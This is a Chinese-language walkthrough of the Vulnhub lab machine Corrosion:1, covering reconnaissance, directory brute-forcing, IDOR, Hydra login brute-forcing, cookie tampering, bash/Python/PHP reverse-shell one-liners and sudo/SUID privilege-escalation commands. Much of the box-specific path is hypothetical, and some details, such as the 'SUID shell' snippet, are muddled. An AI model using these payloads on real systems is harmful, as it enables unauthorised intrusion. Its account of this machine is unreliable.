Vulnhub靶机Corrosion:1渗透实战:从信息收集到权限提升全流程解析
1. 项目概述:从“玩转”到“精通”的靶机实战路径
“玩转”一个渗透测试靶机,远不止是拿到root权限那么简单。它意味着你能够系统性地复现攻击路径,理解每一步背后的原理,并最终将零散的技术点串联成一套完整的渗透测试思维。今天要拆解的Vulnhub靶机“Corrosion:1”,就是一个绝佳的练习场。它不像某些“直给”型靶机那样漏洞明显,而是需要你像真正的渗透测试工程师一样,进行信息收集、枚举、漏洞利用、权限提升和痕迹清理的全流程思考。对于刚接触渗透测试的新手,或是想从CTF解题思维转向真实渗透测试流程的朋友来说,攻克Corrosion:1的过程,就是一次从“脚本小子”到“思考者”的蜕变。
这个靶机的核心价值在于,它模拟了一个相对真实的、存在多处逻辑关联漏洞的Web应用环境。你不会遇到一个简单的SQL注入点直接拿到shell,而是需要结合目录枚举、源码审计、密码破解、会话劫持乃至简单的二进制漏洞利用等多种技术。整个过程就像在解一个环环相扣的谜题,每一步的发现都为下一步铺路。通过这次实战,你不仅能巩固Nmap、Gobuster、Hydra、John the Ripper、Metasploit等经典工具的使用,更能深刻理解“攻击链”的概念——如何将看似孤立的信息点(一个用户名、一个隐藏目录、一段注释代码)组合成一条通往最终目标的路径。接下来,我将带你完整走一遍这条路径,并重点分享那些官方Writeup里不会写的细节和踩坑经验。
2. 靶机环境搭建与初始信息收集
2.1 靶机部署与网络配置
首先,你需要从Vulnhub官网下载Corrosion:1的OVA文件。导入到VMware或VirtualBox后,一个关键的步骤是将虚拟机的网络模式设置为“桥接”。很多新手会忽略这一点,使用NAT模式导致攻击机(Kali Linux)无法发现靶机。桥接模式使得靶机和你的Kali处于同一物理网络段,就像两台真实的电脑接在同一个路由器下,这是后续扫描和攻击的基础。
部署完成后,先别急着扫描。Vulnhub靶机通常不会显示IP地址,我们需要先找出它。在Kali中,最快速的方法是使用netdiscover进行主动ARP扫描:
sudo netdiscover -r 192.168.1.0/24请将192.168.1.0/24替换为你本地网络的真实网段。如果netdiscover没有结果,可以尝试更通用的方法:先查看Kali自身的IP(ip a),确定网段后,使用Nmap进行ping扫描:
sudo nmap -sn 192.168.1.0/24扫描结果中,除了你已知的设备(如你的电脑、手机),那个陌生的IP地址很可能就是靶机。记下这个IP,我们假设它为192.168.1.105。
注意:在实际渗透测试授权项目中,这种主动的ARP或ICMP扫描可能会触发网络入侵检测系统(IDS)的警报。在合规测试中,我们有时会采用更隐蔽的扫描方式,或将其安排在允许扫描的时间窗口。但在Vulnhub这样的学习环境,我们可以放开手脚。
2.2 系统性端口与服务探测
拿到IP后,下一步是进行全面的端口扫描,这是信息收集的基石。不要只满足于一个快速扫描,分层次进行能获得更全面的信息。
第一层:快速扫描,发现开放端口
sudo nmap -sS -T4 192.168.1.105-sS代表TCP SYN扫描(半开扫描),速度较快且相对隐蔽。-T4指定扫描速度。这次扫描会快速列出所有开放的TCP端口。假设我们发现开放了22(SSH), 80(HTTP)端口。
第二层:深度扫描,探测服务详情针对发现的开放端口,进行版本探测和脚本扫描,获取更详细的信息:
sudo nmap -sV -sC -p 22,80 -oA corrosion_initial 192.168.1.105-sV: 探测服务及版本信息。-sC: 使用默认的Nmap脚本进行漏洞探测,它能发现一些常见配置问题。-p: 指定扫描的端口。-oA: 将结果以所有格式(普通、XML、Grepable)输出到文件,便于后续查阅。
这个扫描结果会告诉我们,80端口运行着什么Web服务器(如Apache 2.4.x)和可能的技术栈(如PHP),22端口的SSH服务版本。这些信息是后续选择攻击方向的依据。
第三层:全端口扫描,避免遗漏有时靶机会将服务放在非标准端口。为了万无一失,可以进行一次全端口扫描,但这比较耗时:
sudo nmap -p- -T4 192.168.1.105在Corrosion:1中,主要入口就是80和22端口,因此我们的重点将放在Web应用上。
3. Web应用渗透与漏洞利用分析
3.1 目录枚举与敏感文件发现
面对一个Web应用,直接浏览主页往往只是开始。我们需要使用工具暴力枚举隐藏的目录、文件和后台入口。这里推荐使用gobuster,它速度快,字典丰富。
首先,准备一个常用的目录字典,如/usr/share/wordlists/dirb/common.txt。然后运行:
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js,bakdir: 指定目录枚举模式。-u: 目标URL。-w: 使用的字典文件。-x: 尝试这些扩展名。添加bak是因为开发者有时会留下备份文件(如index.php.bak),里面可能包含源码或配置信息。
在Corrosion靶机中,你可能会发现诸如/admin、/login、/backup、/uploads之类的目录。每个发现的目录都需要手动访问,检查其内容。一个重要的技巧是:同时关注服务器的HTTP响应状态码。200是成功,301/302是重定向(可能跳转到登录页),403是禁止访问(但确认了该路径存在),404是不存在。对于403的目录,可以尝试使用其他方法绕过,比如修改HTTP请求头。
除了目录,还要枚举虚拟主机(vhost)和子域名,虽然在这个本地靶机中可能用不上,但在真实内网测试中至关重要:
gobuster vhost -u http://192.168.1.105 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt3.2 源码审计与逻辑漏洞挖掘
在枚举过程中,你很可能发现了一个登录页面(例如/login.php)。直接尝试SQL注入或爆破可能不是最优解。更聪明的做法是查看网页源码。按Ctrl+U或F12打开开发者工具,仔细检查HTML、JavaScript注释。开发者有时会把测试账号、接口信息甚至后端逻辑写在注释里。
在Corrosion中,关键信息可能就藏在注释或一个不起眼的JS文件里。例如,你可能会发现一段被注释掉的JavaScript代码,其中包含一个向某个API端点(如/api/user/check)发送请求的逻辑。这个端点可能未在前端显示,但可以直接访问,并且可能存在参数污染、IDOR(不安全的直接对象引用)等漏洞。
IDOR漏洞实战:假设你通过枚举发现了/api/user/profile?id=1,返回了用户admin的信息。尝试将id=1改为id=2,如果返回了另一个用户的数据,这就是一个典型的IDOR漏洞。你可以编写一个简单脚本,遍历id值,批量获取用户信息。在Kali中,可以用curl配合循环:
for i in {1..100}; do echo "ID $i:"; curl -s "http://192.168.1.105/api/user/profile?id=$i" | grep -E "username|email"; done此外,不要忘记检查robots.txt文件。它可能暴露出管理员后台路径(Disallow: /admin/)或其他敏感目录。
3.3 密码破解与会话管理攻击
通过源码审计或IDOR漏洞,你可能获得了一个用户名列表(如admin, john, corros1on)。同时,在枚举中可能发现了一个登录接口。这时,密码爆破就提上日程。
使用Hydra进行HTTP表单爆破: 首先,需要分析登录请求。用Burp Suite拦截一个登录请求,观察其请求方法(POST)、参数名(如user=admin&pass=123)和失败时的响应特征(如返回“Invalid credentials”)。
hydra -L userlist.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid credentials"-L: 用户名列表文件。-P: 密码字典文件(rockyou.txt是经典弱口令字典)。http-post-form: 指定协议和表单类型。- 引号内部分分为三块,用冒号分隔:
路径:POST参数:失败条件。
实操心得:直接爆破Web登录表单可能触发账户锁定机制或频繁的IP封锁。在Corrosion中,我们可能更幸运。但如果遇到防护,可以尝试:1) 降低请求速率(
-t 1 -w 10);2) 使用代理池;3) 先尝试最常见的几个密码组合(如admin/admin, admin/123456)。
如果爆破成功,你将获得一个有效的账户凭证。登录后,立即检查Cookie。应用可能使用脆弱的会话管理机制。查看Cookie是否是可预测的(如简单的数字递增),或者是未签名的、使用弱算法(如Base64)编码的数据。如果是后者,可能构成会话伪造攻击。
会话伪造示例:假设Cookie是session=eyJ1c2VyIjoiYWRtaW4ifQ==,这是一个Base64编码字符串。解码后可能是{"user":"admin"}。你可以尝试修改user值为其他已存在的用户(如{"user":"john"}),再Base64编码回去,替换Cookie,可能就能以其他用户身份登录。这被称为“不安全的反序列化”或“Cookie篡改”漏洞。
4. 权限提升与后渗透阶段
4.1 从Web Shell到稳定立足点
通过Web漏洞(比如文件上传漏洞)获取了Web Shell(如一个可以执行命令的PHP文件),这只是一个临时据点。我们需要将其转化为一个稳定的、功能完整的反向Shell连接。
使用Netcat获取反向Shell: 在Kali上监听一个端口:
nc -lvnp 4444在Web Shell中执行反向连接命令。由于目标环境可能受限,需要尝试多种payload:
- Bash:
bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'(将IP改为你的Kali IP) - Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' - PHP:
php -r '$sock=fsockopen("192.168.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
如果成功,你会在Netcat终端看到一个低权限的Shell。第一步是升级为交互式TTY Shell,这样才能使用su、sudo、文本编辑器等命令:
python3 -c 'import pty; pty.spawn("/bin/bash")' # 或者 script /dev/null -c bash按Ctrl+Z将会话挂起到后台,然后在Kali终端输入stty raw -echo; fg,再按一次回车。最后输入export TERM=xterm,即可获得一个功能完整的Shell。
4.2 系统内部信息枚举
拿到Shell后,不要急着提权。先进行彻底的系统内部信息收集,这就像在陌生房间里寻找有用的工具和地图。
用户与组信息:
id whoami cat /etc/passwd | grep -v "nologin\|false" # 查看可登录用户 sudo -l # **最关键的命令**:查看当前用户能以root身份运行哪些命令进程与服务:
ps aux netstat -tulpn # 或 ss -tulpn systemctl list-units --type=service文件与权限:
find / -type f -perm -4000 -ls 2>/dev/null # 查找SUID文件 find / -type f -perm -2000 -ls 2>/dev/null # 查找SGID文件 find / -writable -type d 2>/dev/null # 查找当前用户可写的目录计划任务:
crontab -l ls -la /etc/cron* /var/spool/cron/ cat /etc/crontab网络与配置:
ifconfig 或 ip a cat /etc/hosts arp -a敏感文件:
ls -la /home/* /root/ 2>/dev/null find / -name "*.txt" -o -name "*.log" -o -name "*.conf" -o -name "*.bak" 2>/dev/null | head -20将所有这些信息记录下来。在Corrosion靶机中,sudo -l命令的输出可能是突破口。它可能显示当前用户可以以root身份无需密码运行某个特定程序(如/usr/bin/find,/usr/bin/vi,/usr/bin/python等)。这就是经典的“sudo滥用”提权路径。
4.3 利用SUID/Sudo漏洞提权
假设sudo -l显示:
User corros1on may run the following commands on corrosion: (root) NOPASSWD: /usr/bin/find这意味着用户corros1on可以以root身份无密码运行find命令。我们可以利用find的-exec参数执行任意命令。
方法一:直接获取root shell
sudo find / -exec /bin/bash \;执行后,你获得的bash进程将以root权限运行。输入id确认,现在你已经是root了。
方法二:如果/bin/bash被限制,可以尝试其他方式
sudo find / -exec /bin/sh \; # 或者写入一个SUID shell echo '/bin/bash' > /tmp/shell chmod +x /tmp/shell sudo find /tmp/shell -exec /tmp/shell \;除了find,其他常见的可滥用命令还有:
- vim/vi:
sudo vim -c ':!/bin/sh'或sudo vi -c ':!/bin/sh' - python:
sudo python -c 'import os; os.system("/bin/bash")' - less/more: 在
sudo less或sudo more中打开一个文件,然后输入! /bin/bash - nmap (旧版本):
sudo nmap --interactive,然后输入!sh
如果没有sudo权限,则检查SUID文件。之前find / -perm -4000的命令会列出所有SUID文件。其中,一些已知存在漏洞的二进制文件(如/usr/bin/pkexec(CVE-2021-4034),/usr/bin/sudo的特定版本等)可以直接用于提权。你需要根据系统版本和文件版本,搜索对应的公开漏洞利用代码(Exploit)。在Kali中,可以使用searchsploit工具:
searchsploit linux kernel 5.4 privilege escalation找到合适的Exploit后,将其下载或复制到靶机上,编译并执行。在Corrosion中,很可能就是通过某个配置不当的SUID文件或sudo权限完成的提权。
5. 总结与核心避坑指南
攻克Corrosion:1的完整路径,清晰地展示了一次标准渗透测试的缩影:信息收集 -> 漏洞挖掘 -> 初始访问 -> 权限提升 -> 目标达成。这个过程里,工具的使用是骨架,而思维才是灵魂。不要满足于运行命令拿到flag,要问自己:为什么这一步能成功?漏洞的根本原因是什么?在真实环境中,同样的漏洞会以什么形式出现?
回顾整个流程,有几个关键点值得反复咀嚼:
1. 信息收集的深度决定攻击面的宽度。最初的Nmap扫描、目录枚举、源码审计,每一步都可能发现通往下一个环节的钥匙。漏掉一个robots.txt或一个JS注释,可能就让整个渗透过程卡住。养成地毯式搜索的习惯。
2. 逻辑漏洞往往比技术漏洞更致命。Corrosion靶机很好地体现了这一点。一个不显眼的API端点,一个可预测的会话ID,一个IDOR参数,这些逻辑问题通常不会被自动化扫描器发现,却能为攻击者打开一扇大门。在测试Web应用时,务必把自己放在用户和管理员的角度去思考每一个功能流程。
3. 提权是内网渗透的必经之路。拿到一个www-data或普通用户shell只是开始。系统的sudo -l、SUID文件、计划任务、环境变量、内核版本都是需要仔细检查的提权点。建立一个自己的检查清单,每次拿到shell都按顺序过一遍,能极大提高提权成功率。
4. 自动化与手动的平衡。工具能提高效率,但不能替代思考。Gobuster可以枚举目录,但发现/admin后,需要手动去测试登录逻辑和会话管理。Hydra可以爆破密码,但先尝试常见的弱口令组合或通过信息泄露获取的密码,往往更快。永远让工具为你服务,而不是你被工具牵着走。
最后,关于学习路径的建议:在熟练了Corrosion这类中等难度的靶机后,可以挑战Vulnhub上更复杂的系列,如“HackTheBox”退役机器(虽然HTB是另一个平台,但其思路相通),或者专注于某一类漏洞的靶机(如只包含缓冲区溢出的“Brainpan”)。同时,一定要配合阅读OWASP Top 10、PTES(渗透测试执行标准)等标准文档,将实战经验与理论框架结合,才能形成真正系统化的渗透测试能力。记住,靶机是训练场,真正的价值在于将这里形成的思维模式和技能,应用于合规、授权的安全测试中,去发现和修复真实世界的漏洞。
